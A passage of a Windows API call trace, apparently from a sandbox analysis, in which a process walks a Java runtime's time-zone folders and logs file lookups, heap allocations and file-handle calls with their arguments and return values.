Flags=0x8, Size=0x18) returned 0x12bd8c8 [0088.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12509a0 [0088.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.389] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0088.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd8e8 [0088.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250a28 [0088.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pacific", cAlternateFileName="")) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0088.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd908 [0088.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250ab0 [0088.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.392] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemV", cAlternateFileName="")) returned 1 [0088.392] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WET", cAlternateFileName="")) returned 1 [0088.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd928 [0088.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250b38 [0088.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.394] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="")) returned 1 [0088.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd948 [0088.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250bc0 [0088.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.395] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="")) returned 0 [0088.396] GetLastError () returned 0x12 [0088.396] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.396] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.396] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.396] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Africa", cAlternateFileName="")) returned 1 [0088.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.412] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.413] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.414] NtClose (Handle=0x164) returned 0x0 [0088.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250c48 [0088.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.415] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.417] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Abidjan", cAlternateFileName="")) returned 1 [0088.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd968 [0088.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250de0 [0088.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accra", cAlternateFileName="")) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd988 [0088.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250e68 [0088.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Addis_Ababa", cAlternateFileName="")) returned 1 [0088.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd9a8 [0088.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250ef0 [0088.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Algiers", cAlternateFileName="")) returned 1 [0088.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd9c8 [0088.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250f78 [0088.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8600) returned 0x1322698 [0088.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asmara", cAlternateFileName="")) returned 1 [0088.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd9e8 [0088.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251000 [0088.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bamako", cAlternateFileName="")) returned 1 [0088.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bda08 [0088.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251088 [0088.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangui", cAlternateFileName="")) returned 1 [0088.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bda28 [0088.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251110 [0088.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banjul", cAlternateFileName="")) returned 1 [0088.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bda48 [0088.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251198 [0088.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bissau", cAlternateFileName="")) returned 1 [0088.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bda68 [0088.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251220 [0088.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.432] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blantyre", cAlternateFileName="")) returned 1 [0088.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bda88 [0088.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12512a8 [0088.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.433] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brazzaville", cAlternateFileName="")) returned 1 [0088.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdaa8 [0088.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251330 [0088.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.435] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 